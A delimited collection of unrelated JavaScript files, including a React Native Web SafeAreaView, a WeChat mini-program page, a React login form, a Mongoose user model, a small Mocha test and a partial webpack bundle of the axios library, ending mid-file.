function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); }
function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }
/**
* Copyright (c) Nicolas Gallagher.
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*
*/
import { canUseDOM } from 'fbjs/lib/ExecutionEnvironment';
import React from 'react';
import StyleSheet from '../StyleSheet';
import View from '../View';
var SafeAreaView = React.forwardRef(function (props, ref) {
var style = props.style,
rest = _objectWithoutPropertiesLoose(props, ["style"]);
return React.createElement(View, _extends({}, rest, {
ref: ref,
style: StyleSheet.compose(styles.root, style)
}));
});
SafeAreaView.displayName = 'SafeAreaView';
var cssFunction = function () {
if (canUseDOM && window.CSS && window.CSS.supports && window.CSS.supports('top: constant(safe-area-inset-top)')) {
return 'constant';
}
return 'env';
}();
var styles = StyleSheet.create({
root: {
paddingTop: cssFunction + "(safe-area-inset-top)",
paddingRight: cssFunction + "(safe-area-inset-right)",
paddingBottom: cssFunction + "(safe-area-inset-bottom)",
paddingLeft: cssFunction + "(safe-area-inset-left)"
}
});
export default SafeAreaView;
|
Page({
mixins: [require('../../mixin/themeChanged')],
data: {
inputShowed: false,
inputVal: ""
},
showInput: function () {
this.setData({
inputShowed: true
});
},
hideInput: function () {
this.setData({
inputVal: "",
inputShowed: false
});
},
clearInput: function () {
this.setData({
inputVal: ""
});
},
inputTyping: function (e) {
this.setData({
inputVal: e.detail.value
});
}
});
|
import React, { useState } from 'react';
import { LoginArea, LoginLogo, LoginButtonWrapper, RecoverPasswordFieldWrapper, InputArea, InputImage, Input, LoginButton, ErrorArea, LoginContainerArea, RecoverPasswordField } from './styledLogin';
import { connect } from 'react-redux';
import { signin } from '../../__redux/actions/authActions';
import { Redirect } from 'react-router-dom';
import { faUserAlt, faKey } from '@fortawesome/free-solid-svg-icons';
const Login = (props) => {
const [creds, setCreds] = useState({ email: '', password: ''});
const handleLogin = (e) => {
e.preventDefault();
props.signin(creds);
}
const onChangeInputHandler = (e) => {
const { name, value } = e.target;
setCreds({...creds, [name]: value });
}
return (
(props.uid) ? <Redirect to='/account'/> :
<LoginContainerArea>
<LoginArea onSubmit={handleLogin}>
<LoginLogo src={require('../../assets/logo_transparent.png')} alt="complogo"></LoginLogo>
<InputArea style={{marginBottom: '2rem'}}>
<InputImage icon={faUserAlt}></InputImage>
<Input placeholder="Email" name="email" type="email" onChange={onChangeInputHandler}></Input>
</InputArea>
<InputArea>
<InputImage icon={faKey}></InputImage>
<Input placeholder="Password" name="password" type="password" onChange={onChangeInputHandler}></Input>
</InputArea>
<RecoverPasswordFieldWrapper>
<RecoverPasswordField to="/recovery">Forgot Password?</RecoverPasswordField>
</RecoverPasswordFieldWrapper>
<LoginButtonWrapper>
<LoginButton type="submit">Login</LoginButton>
</LoginButtonWrapper>
{props.feedback ? <ErrorArea >{props.feedback}</ErrorArea> : null}
</LoginArea>
</LoginContainerArea>
)
}
const mapStateToProps = (state) => {
return {
uid: state.firebase.auth.uid,
feedback: state.auth.feedback
}
}
const mapDispatchToProps = (dispatch) => {
return {
signin: (credentials) => dispatch(signin(credentials))
}
}
export default connect(mapStateToProps, mapDispatchToProps)(Login);
|
const express = require('express');
const mongoose = require('mongoose');
mongoose.Promise = require('bluebird');
var UserSchema = mongoose.Schema({
email :{
type: String,
required : true
},
name :{
type:String,
required: true
}
});
const User = module.exports = mongoose.model('Users',UserSchema);
module.exports.findUserById = (_id,callback)=>{
User.findById(_id,callback);
}
module.exports.findUserByEmail= (email,callback)=>{
const query = {email : email };
User.findOne(query,callback);
}
module.exports.getAllUsers= (callback)=>{
User.find(callback);
}
module.exports.removeUser = (_id,callback)=>{
User.findByIdAndRemove(new mongoose.mongo.ObjectId(_id),callback);
}
module.exports.updateUser= (updatedUser,callback)=>{
updatedUser.save(callback);
}
module.exports.addUser= (newUser,callback)=>{
newUser.save(callback);
}
|
function double(value, callback) {
setTimeout(() => callback(value * 2), 1000);
}
double(3, (x) => console.log(`I was given: ${x}`));
// I was given: 6 (printed after roughly 1000ms)
|
#!/usr/bin/evn node
//var assert = require('assert');
var expect = require('chai').expect
describe('testest', function(){
describe('nesttest', function(){
it('should be 1', function(){
expect(1+0).to.be.equal(1);
});
});
describe('nestnesttest', function(){
it('should be 1 #2', function(){
expect(1-0).to.be.equal(1);
});
describe('nestnestest2', function(){
it('(fail) should be 1 #3', function(){
expect(1-1).to.be.equal(1);
});
});
});
});
|
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, { enumerable: true, get: getter });
/******/ }
/******/ };
/******/
/******/ // define __esModule on exports
/******/ __webpack_require__.r = function(exports) {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/
/******/ // create a fake namespace object
/******/ // mode & 1: value is a module id, require it
/******/ // mode & 2: merge all properties of value into the ns
/******/ // mode & 4: return value when already ns object
/******/ // mode & 8|1: behave like require
/******/ __webpack_require__.t = function(value, mode) {
/******/ if(mode & 1) value = __webpack_require__(value);
/******/ if(mode & 8) return value;
/******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
/******/ var ns = Object.create(null);
/******/ __webpack_require__.r(ns);
/******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value });
/******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
/******/ return ns;
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "/";
/******/
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 0);
/******/ })
/************************************************************************/
/******/ ({
/***/ "./node_modules/axios/index.js":
/*!*************************************!*\
!*** ./node_modules/axios/index.js ***!
\*************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
module.exports = __webpack_require__(/*! ./lib/axios */ "./node_modules/axios/lib/axios.js");
/***/ }),
/***/ "./node_modules/axios/lib/adapters/xhr.js":
/*!************************************************!*\
!*** ./node_modules/axios/lib/adapters/xhr.js ***!
\************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./../utils */ "./node_modules/axios/lib/utils.js");
var settle = __webpack_require__(/*! ./../core/settle */ "./node_modules/axios/lib/core/settle.js");
var buildURL = __webpack_require__(/*! ./../helpers/buildURL */ "./node_modules/axios/lib/helpers/buildURL.js");
var buildFullPath = __webpack_require__(/*! ../core/buildFullPath */ "./node_modules/axios/lib/core/buildFullPath.js");
var parseHeaders = __webpack_require__(/*! ./../helpers/parseHeaders */ "./node_modules/axios/lib/helpers/parseHeaders.js");
var isURLSameOrigin = __webpack_require__(/*! ./../helpers/isURLSameOrigin */ "./node_modules/axios/lib/helpers/isURLSameOrigin.js");
var createError = __webpack_require__(/*! ../core/createError */ "./node_modules/axios/lib/core/createError.js");
module.exports = function xhrAdapter(config) {
return new Promise(function dispatchXhrRequest(resolve, reject) {
var requestData = config.data;
var requestHeaders = config.headers;
if (utils.isFormData(requestData)) {
delete requestHeaders['Content-Type']; // Let the browser set it
}
var request = new XMLHttpRequest();
// HTTP basic authentication
if (config.auth) {
var username = config.auth.username || '';
var password = config.auth.password || '';
requestHeaders.Authorization = 'Basic ' + btoa(username + ':' + password);
}
var fullPath = buildFullPath(config.baseURL, config.url);
request.open(config.method.toUpperCase(), buildURL(fullPath, config.params, config.paramsSerializer), true);
// Set the request timeout in MS
request.timeout = config.timeout;
// Listen for ready state
request.onreadystatechange = function handleLoad() {
if (!request || request.readyState !== 4) {
return;
}
// The request errored out and we didn't get a response, this will be
// handled by onerror instead
// With one exception: request that using file: protocol, most browsers
// will return status as 0 even though it's a successful request
if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {
return;
}
// Prepare the response
var responseHeaders = 'getAllResponseHeaders' in request ? parseHeaders(request.getAllResponseHeaders()) : null;
var responseData = !config.responseType || config.responseType === 'text' ? request.responseText : request.response;
var response = {
data: responseData,
status: request.status,
statusText: request.statusText,
headers: responseHeaders,
config: config,
request: request
};
settle(resolve, reject, response);
// Clean up request
request = null;
};
// Handle browser request cancellation (as opposed to a manual cancellation)
request.onabort = function handleAbort() {
if (!request) {
return;
}
reject(createError('Request aborted', config, 'ECONNABORTED', request));
// Clean up request
request = null;
};
// Handle low level network errors
request.onerror = function handleError() {
// Real errors are hidden from us by the browser
// onerror should only fire if it's a network error
reject(createError('Network Error', config, null, request));
// Clean up request
request = null;
};
// Handle timeout
request.ontimeout = function handleTimeout() {
var timeoutErrorMessage = 'timeout of ' + config.timeout + 'ms exceeded';
if (config.timeoutErrorMessage) {
timeoutErrorMessage = config.timeoutErrorMessage;
}
reject(createError(timeoutErrorMessage, config, 'ECONNABORTED',
request));
// Clean up request
request = null;
};
// Add xsrf header
// This is only done if running in a standard browser environment.
// Specifically not if we're in a web worker, or react-native.
if (utils.isStandardBrowserEnv()) {
var cookies = __webpack_require__(/*! ./../helpers/cookies */ "./node_modules/axios/lib/helpers/cookies.js");
// Add xsrf header
var xsrfValue = (config.withCredentials || isURLSameOrigin(fullPath)) && config.xsrfCookieName ?
cookies.read(config.xsrfCookieName) :
undefined;
if (xsrfValue) {
requestHeaders[config.xsrfHeaderName] = xsrfValue;
}
}
// Add headers to the request
if ('setRequestHeader' in request) {
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (typeof requestData === 'undefined' && key.toLowerCase() === 'content-type') {
// Remove Content-Type if data is undefined
delete requestHeaders[key];
} else {
// Otherwise add header to the request
request.setRequestHeader(key, val);
}
});
}
// Add withCredentials to request if needed
if (!utils.isUndefined(config.withCredentials)) {
request.withCredentials = !!config.withCredentials;
}
// Add responseType to request if needed
if (config.responseType) {
try {
request.responseType = config.responseType;
} catch (e) {
// Expected DOMException thrown by browsers not compatible XMLHttpRequest Level 2.
// But, this can be suppressed for 'json' type as it can be parsed by default 'transformResponse' function.
if (config.responseType !== 'json') {
throw e;
}
}
}
// Handle progress if needed
if (typeof config.onDownloadProgress === 'function') {
request.addEventListener('progress', config.onDownloadProgress);
}
// Not all browsers support upload events
if (typeof config.onUploadProgress === 'function' && request.upload) {
request.upload.addEventListener('progress', config.onUploadProgress);
}
if (config.cancelToken) {
// Handle cancellation
config.cancelToken.promise.then(function onCanceled(cancel) {
if (!request) {
return;
}
request.abort();
reject(cancel);
// Clean up request
request = null;
});
}
if (requestData === undefined) {
requestData = null;
}
// Send the request
request.send(requestData);
});
};
/***/ }),
/***/ "./node_modules/axios/lib/axios.js":
/*!*****************************************!*\
!*** ./node_modules/axios/lib/axios.js ***!
\*****************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./utils */ "./node_modules/axios/lib/utils.js");
var bind = __webpack_require__(/*! ./helpers/bind */ "./node_modules/axios/lib/helpers/bind.js");
var Axios = __webpack_require__(/*! ./core/Axios */ "./node_modules/axios/lib/core/Axios.js");
var mergeConfig = __webpack_require__(/*! ./core/mergeConfig */ "./node_modules/axios/lib/core/mergeConfig.js");
var defaults = __webpack_require__(/*! ./defaults */ "./node_modules/axios/lib/defaults.js");
/**
* Create an instance of Axios
*
* @param {Object} defaultConfig The default config for the instance
* @return {Axios} A new instance of Axios
*/
function createInstance(defaultConfig) {
var context = new Axios(defaultConfig);
var instance = bind(Axios.prototype.request, context);
// Copy axios.prototype to instance
utils.extend(instance, Axios.prototype, context);
// Copy context to instance
utils.extend(instance, context);
return instance;
}
// Create the default instance to be exported
var axios = createInstance(defaults);
// Expose Axios class to allow class inheritance
axios.Axios = Axios;
// Factory for creating new instances
axios.create = function create(instanceConfig) {
return createInstance(mergeConfig(axios.defaults, instanceConfig));
};
// Expose Cancel & CancelToken
axios.Cancel = __webpack_require__(/*! ./cancel/Cancel */ "./node_modules/axios/lib/cancel/Cancel.js");
axios.CancelToken = __webpack_require__(/*! ./cancel/CancelToken */ "./node_modules/axios/lib/cancel/CancelToken.js");
axios.isCancel = __webpack_require__(/*! ./cancel/isCancel */ "./node_modules/axios/lib/cancel/isCancel.js");
// Expose all/spread
axios.all = function all(promises) {
return Promise.all(promises);
};
axios.spread = __webpack_require__(/*! ./helpers/spread */ "./node_modules/axios/lib/helpers/spread.js");
module.exports = axios;
// Allow use of default import syntax in TypeScript
module.exports.default = axios;
/***/ }),
/***/ "./node_modules/axios/lib/cancel/Cancel.js":
/*!*************************************************!*\
!*** ./node_modules/axios/lib/cancel/Cancel.js ***!
\*************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* A `Cancel` is an object that is thrown when an operation is canceled.
*
* @class
* @param {string=} message The message.
*/
function Cancel(message) {
this.message = message;
}
Cancel.prototype.toString = function toString() {
return 'Cancel' + (this.message ? ': ' + this.message : '');
};
Cancel.prototype.__CANCEL__ = true;
module.exports = Cancel;
/***/ }),
/***/ "./node_modules/axios/lib/cancel/CancelToken.js":
/*!******************************************************!*\
!*** ./node_modules/axios/lib/cancel/CancelToken.js ***!
\******************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var Cancel = __webpack_require__(/*! ./Cancel */ "./node_modules/axios/lib/cancel/Cancel.js");
/**
* A `CancelToken` is an object that can be used to request cancellation of an operation.
*
* @class
* @param {Function} executor The executor function.
*/
function CancelToken(executor) {
if (typeof executor !== 'function') {
throw new TypeError('executor must be a function.');
}
var resolvePromise;
this.promise = new Promise(function promiseExecutor(resolve) {
resolvePromise = resolve;
});
var token = this;
executor(function cancel(message) {
if (token.reason) {
// Cancellation has already been requested
return;
}
token.reason = new Cancel(message);
resolvePromise(token.reason);
});
}
/**
* Throws a `Cancel` if cancellation has been requested.
*/
CancelToken.prototype.throwIfRequested = function throwIfRequested() {
if (this.reason) {
throw this.reason;
}
};
/**
* Returns an object that contains a new `CancelToken` and a function that, when called,
* cancels the `CancelToken`.
*/
CancelToken.source = function source() {
var cancel;
var token = new CancelToken(function executor(c) {
cancel = c;
});
return {
token: token,
cancel: cancel
};
};
module.exports = CancelToken;
/***/ }),
/***/ "./node_modules/axios/lib/cancel/isCancel.js":
/*!***************************************************!*\
!*** ./node_modules/axios/lib/cancel/isCancel.js ***!
\***************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
module.exports = function isCancel(value) {
return !!(value && value.__CANCEL__);
};
/***/ }),
/***/ "./node_modules/axios/lib/core/Axios.js":
/*!**********************************************!*\
!*** ./node_modules/axios/lib/core/Axios.js ***!
\**********************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./../utils */ "./node_modules/axios/lib/utils.js");
var buildURL = __webpack_require__(/*! ../helpers/buildURL */ "./node_modules/axios/lib/helpers/buildURL.js");
var InterceptorManager = __webpack_require__(/*! ./InterceptorManager */ "./node_modules/axios/lib/core/InterceptorManager.js");
var dispatchRequest = __webpack_require__(/*! ./dispatchRequest */ "./node_modules/axios/lib/core/dispatchRequest.js");
var mergeConfig = __webpack_require__(/*! ./mergeConfig */ "./node_modules/axios/lib/core/mergeConfig.js");
/**
* Create a new instance of Axios
*
* @param {Object} instanceConfig The default config for the instance
*/
function Axios(instanceConfig) {
this.defaults = instanceConfig;
this.interceptors = {
request: new InterceptorManager(),
response: new InterceptorManager()
};
}
/**
* Dispatch a request
*
* @param {Object} config The config specific for this request (merged with this.defaults)
*/
Axios.prototype.request = function request(config) {
/*eslint no-param-reassign:0*/
// Allow for axios('example/url'[, config]) a la fetch API
if (typeof config === 'string') {
config = arguments[1] || {};
config.url = arguments[0];
} else {
config = config || {};
}
config = mergeConfig(this.defaults, config);
// Set config.method
if (config.method) {
config.method = config.method.toLowerCase();
} else if (this.defaults.method) {
config.method = this.defaults.method.toLowerCase();
} else {
config.method = 'get';
}
// Hook up interceptors middleware
var chain = [dispatchRequest, undefined];
var promise = Promise.resolve(config);
this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
chain.unshift(interceptor.fulfilled, interceptor.rejected);
});
this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
chain.push(interceptor.fulfilled, interceptor.rejected);
});
while (chain.length) {
promise = promise.then(chain.shift(), chain.shift());
}
return promise;
};
Axios.prototype.getUri = function getUri(config) {
config = mergeConfig(this.defaults, config);
return buildURL(config.url, config.params, config.paramsSerializer).replace(/^\?/, '');
};
// Provide aliases for supported request methods
utils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {
/*eslint func-names:0*/
Axios.prototype[method] = function(url, config) {
return this.request(utils.merge(config || {}, {
method: method,
url: url
}));
};
});
utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
/*eslint func-names:0*/
Axios.prototype[method] = function(url, data, config) {
return this.request(utils.merge(config || {}, {
method: method,
url: url,
data: data
}));
};
});
module.exports = Axios;
/***/ }),
/***/ "./node_modules/axios/lib/core/InterceptorManager.js":
/*!***********************************************************!*\
!*** ./node_modules/axios/lib/core/InterceptorManager.js ***!
\***********************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./../utils */ "./node_modules/axios/lib/utils.js");
function InterceptorManager() {
this.handlers = [];
}
/**
* Add a new interceptor to the stack
*
* @param {Function} fulfilled The function to handle `then` for a `Promise`
* @param {Function} rejected The function to handle `reject` for a `Promise`
*
* @return {Number} An ID used to remove interceptor later
*/
InterceptorManager.prototype.use = function use(fulfilled, rejected) {
this.handlers.push({
fulfilled: fulfilled,
rejected: rejected
});
return this.handlers.length - 1;
};
/**
* Remove an interceptor from the stack
*
* @param {Number} id The ID that was returned by `use`
*/
InterceptorManager.prototype.eject = function eject(id) {
if (this.handlers[id]) {
this.handlers[id] = null;
}
};
/**
* Iterate over all the registered interceptors
*
* This method is particularly useful for skipping over any
* interceptors that may have become `null` calling `eject`.
*
* @param {Function} fn The function to call for each interceptor
*/
InterceptorManager.prototype.forEach = function forEach(fn) {
utils.forEach(this.handlers, function forEachHandler(h) {
if (h !== null) {
fn(h);
}
});
};
module.exports = InterceptorManager;
/***/ }),
/***/ "./node_modules/axios/lib/core/buildFullPath.js":
/*!******************************************************!*\
!*** ./node_modules/axios/lib/core/buildFullPath.js ***!
\******************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var isAbsoluteURL = __webpack_require__(/*! ../helpers/isAbsoluteURL */ "./node_modules/axios/lib/helpers/isAbsoluteURL.js");
var combineURLs = __webpack_require__(/*! ../helpers/combineURLs */ "./node_modules/axios/lib/helpers/combineURLs.js");
/**
* Creates a new URL by combining the baseURL with the requestedURL,
* only when the requestedURL is not already an absolute URL.
* If the requestURL is absolute, this function returns the requestedURL untouched.
*
* @param {string} baseURL The base URL
* @param {string} requestedURL Absolute or relative URL to combine
* @returns {string} The combined full path
*/
module.exports = function buildFullPath(baseURL, requestedURL) {
if (baseURL && !isAbsoluteURL(requestedURL)) {
return combineURLs(baseURL, requestedURL);
}
return requestedURL;
};
/***/ }),
/***/ "./node_modules/axios/lib/core/createError.js":
/*!****************************************************!*\
!*** ./node_modules/axios/lib/core/createError.js ***!
\****************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var enhanceError = __webpack_require__(/*! ./enhanceError */ "./node_modules/axios/lib/core/enhanceError.js");
/**
* Create an Error with the specified message, config, error code, request and response.
*
* @param {string} message The error message.
* @param {Object} config The config.
* @param {string} [code] The error code (for example, 'ECONNABORTED').
* @param {Object} [request] The request.
* @param {Object} [response] The response.
* @returns {Error} The created error.
*/
module.exports = function createError(message, config, code, request, response) {
var error = new Error(message);
return enhanceError(error, config, code, request, response);
};
/***/ }),
/***/ "./node_modules/axios/lib/core/dispatchRequest.js":
/*!********************************************************!*\
!*** ./node_modules/axios/lib/core/dispatchRequest.js ***!
\********************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./../utils */ "./node_modules/axios/lib/utils.js");
var transformData = __webpack_require__(/*! ./transformData */ "./node_modules/axios/lib/core/transformData.js");
var isCancel = __webpack_require__(/*! ../cancel/isCancel */ "./node_modules/axios/lib/cancel/isCancel.js");
var defaults = __webpack_require__(/*! ../defaults */ "./node_modules/axios/lib/defaults.js");
/**
* Throws a `Cancel` if cancellation has been requested.
*/
function throwIfCancellationRequested(config) {
if (config.cancelToken) {
config.cancelToken.throwIfRequested();
}
}
/**
* Dispatch a request to the server using the configured adapter.
*
* @param {object} config The config that is to be used for the request
* @returns {Promise} The Promise to be fulfilled
*/
module.exports = function dispatchRequest(config) {
throwIfCancellationRequested(config);
// Ensure headers exist
config.headers = config.headers || {};
// Transform request data
config.data = transformData(
config.data,
config.headers,
config.transformRequest
);
// Flatten headers
config.headers = utils.merge(
config.headers.common || {},
config.headers[config.method] || {},
config.headers
);
utils.forEach(
['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],
function cleanHeaderConfig(method) {
delete config.headers[method];
}
);
var adapter = config.adapter || defaults.adapter;
return adapter(config).then(function onAdapterResolution(response) {
throwIfCancellationRequested(config);
// Transform response data
response.data = transformData(
response.data,
response.headers,
config.transformResponse
);
return response;
}, function onAdapterRejection(reason) {
if (!isCancel(reason)) {
throwIfCancellationRequested(config);
// Transform response data
if (reason && reason.response) {
reason.response.data = transformData(
reason.response.data,
reason.response.headers,
config.transformResponse
);
}
}
return Promise.reject(reason);
});
};
/***/ }),
/***/ "./node_modules/axios/lib/core/enhanceError.js":
/*!*****************************************************!*\
!*** ./node_modules/axios/lib/core/enhanceError.js ***!
\*****************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Update an Error with the specified config, error code, and response.
*
* @param {Error} error The error to update.
* @param {Object} config The config.
* @param {string} [code] The error code (for example, 'ECONNABORTED').
* @param {Object} [request] The request.
* @param {Object} [response] The response.
* @returns {Error} The error.
*/
module.exports = function enhanceError(error, config, code, request, response) {
error.config = config;
if (code) {
error.code = code;
}
error.request = request;
error.response = response;
error.isAxiosError = true;
error.toJSON = function() {
return {
// Standard
message: this.message,
name: this.name,
// Microsoft
description: this.description,
number: this.number,
// Mozilla
fileName: this.fileName,
lineNumber: this.lineNumber,
columnNumber: this.columnNumber,
stack: this.stack,
// Axios
config: this.config,
code: this.code
};
};
return error;
};
/***/ }),
/***/ "./node_modules/axios/lib/core/mergeConfig.js":
/*!****************************************************!*\
!*** ./node_modules/axios/lib/core/mergeConfig.js ***!
\****************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ../utils */ "./node_modules/axios/lib/utils.js");
/**
* Config-specific merge-function which creates a new config-object
* by merging two configuration objects together.
*
* @param {Object} config1
* @param {Object} config2
* @returns {Object} New object resulting from merging config2 to config1
*/
module.exports = function mergeConfig(config1, config2) {
// eslint-disable-next-line no-param-reassign
config2 = config2 || {};
var config = {};
var valueFromConfig2Keys = ['url', 'method', 'params', 'data'];
var mergeDeepPropertiesKeys = ['headers', 'auth', 'proxy'];
var defaultToConfig2Keys = [
'baseURL', 'url', 'transformRequest', 'transformResponse', 'paramsSerializer',
'timeout', 'withCredentials', 'adapter', 'responseType', 'xsrfCookieName',
'xsrfHeaderName', 'onUploadProgress', 'onDownloadProgress',
'maxContentLength', 'validateStatus', 'maxRedirects', 'httpAgent',
'httpsAgent', 'cancelToken', 'socketPath'
];
utils.forEach(valueFromConfig2Keys, function valueFromConfig2(prop) {
if (typeof config2[prop] !== 'undefined') {
config[prop] = config2[prop];
}
});
utils.forEach(mergeDeepPropertiesKeys, function mergeDeepProperties(prop) {
if (utils.isObject(config2[prop])) {
config[prop] = utils.deepMerge(config1[prop], config2[prop]);
} else if (typeof config2[prop] !== 'undefined') {
config[prop] = config2[prop];
} else if (utils.isObject(config1[prop])) {
config[prop] = utils.deepMerge(config1[prop]);
} else if (typeof config1[prop] !== 'undefined') {
config[prop] = config1[prop];
}
});
utils.forEach(defaultToConfig2Keys, function defaultToConfig2(prop) {
if (typeof config2[prop] !== 'undefined') {
config[prop] = config2[prop];
} else if (typeof config1[prop] !== 'undefined') {
config[prop] = config1[prop];
}
});
var axiosKeys = valueFromConfig2Keys
.concat(mergeDeepPropertiesKeys)
.concat(defaultToConfig2Keys);
var otherKeys = Object
.keys(config2)
.filter(function filterAxiosKeys(key) {
return axiosKeys.indexOf(key) === -1;
});
utils.forEach(otherKeys, function otherKeysDefaultToConfig2(prop) {
if (typeof config2[prop] !== 'undefined') {
config[prop] = config2[prop];
} else if (typeof config1[prop] !== 'undefined') {
config[prop] = config1[prop];
}
});
return config;
};
/***/ }),
/***/ "./node_modules/axios/lib/core/settle.js":
/*!***********************************************!*\
!*** ./node_modules/axios/lib/core/settle.js ***!
\***********************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var createError = __webpack_require__(/*! ./createError */ "./node_modules/axios/lib/core/createError.js");
/**
* Resolve or reject a Promise based on response status.
*
* @param {Function} resolve A function that resolves the promise.
* @param {Function} reject A function that rejects the promise.
* @param {object} response The response.
*/
module.exports = function settle(resolve, reject, response) {
var validateStatus = response.config.validateStatus;
if (!validateStatus || validateStatus(response.status)) {
resolve(response);
} else {
reject(createError(
'Request failed with status code ' + response.status,
response.config,
null,
response.request,
response
));
}
};
/***/ }),
/***/ "./node_modules/axios/lib/core/transformData.js":
/*!******************************************************!*\
!*** ./node_modules/axios/lib/core/transformData.js ***!
\******************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./../utils */ "./node_modules/axios/lib/utils.js");
/**
* Transform the data for a request or a response
*
* @param {Object|String} data The data to be transformed
* @param {Array} headers The headers for the request or response
* @param {Array|Function} fns A single function or Array of functions
* @returns {*} The resulting transformed data
*/
module.exports = function transformData(data, headers, fns) {
/*eslint no-param-reassign:0*/
utils.forEach(fns, function transform(fn) {
data = fn(data, headers);
});
return data;
};
/***/ }),
/***/ "./node_modules/axios/lib/defaults.js":
/*!********************************************!*\
!*** ./node_modules/axios/lib/defaults.js ***!
\********************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {
var utils = __webpack_require__(/*! ./utils */ "./node_modules/axios/lib/utils.js");
var normalizeHeaderName = __webpack_require__(/*! ./helpers/normalizeHeaderName */ "./node_modules/axios/lib/helpers/normalizeHeaderName.js");
var DEFAULT_CONTENT_TYPE = {
'Content-Type': 'application/x-www-form-urlencoded'
};
function setContentTypeIfUnset(headers, value) {
if (!utils.isUndefined(headers) && utils.isUndefined(headers['Content-Type'])) {
headers['Content-Type'] = value;
}
}
function getDefaultAdapter() {
var adapter;
if (typeof XMLHttpRequest !== 'undefined') {
// For browsers use XHR adapter
adapter = __webpack_require__(/*! ./adapters/xhr */ "./node_modules/axios/lib/adapters/xhr.js");
} else if (typeof process !== 'undefined' && Object.prototype.toString.call(process) === '[object process]') {
// For node use HTTP adapter
adapter = __webpack_require__(/*! ./adapters/http */ "./node_modules/axios/lib/adapters/xhr.js");
}
return adapter;
}
var defaults = {
adapter: getDefaultAdapter(),
transformRequest: [function transformRequest(data, headers) {
normalizeHeaderName(headers, 'Accept');
normalizeHeaderName(headers, 'Content-Type');
if (utils.isFormData(data) ||
utils.isArrayBuffer(data) ||
utils.isBuffer(data) ||
utils.isStream(data) ||
utils.isFile(data) ||
utils.isBlob(data)
) {
return data;
}
if (utils.isArrayBufferView(data)) {
return data.buffer;
}
if (utils.isURLSearchParams(data)) {
setContentTypeIfUnset(headers, 'application/x-www-form-urlencoded;charset=utf-8');
return data.toString();
}
if (utils.isObject(data)) {
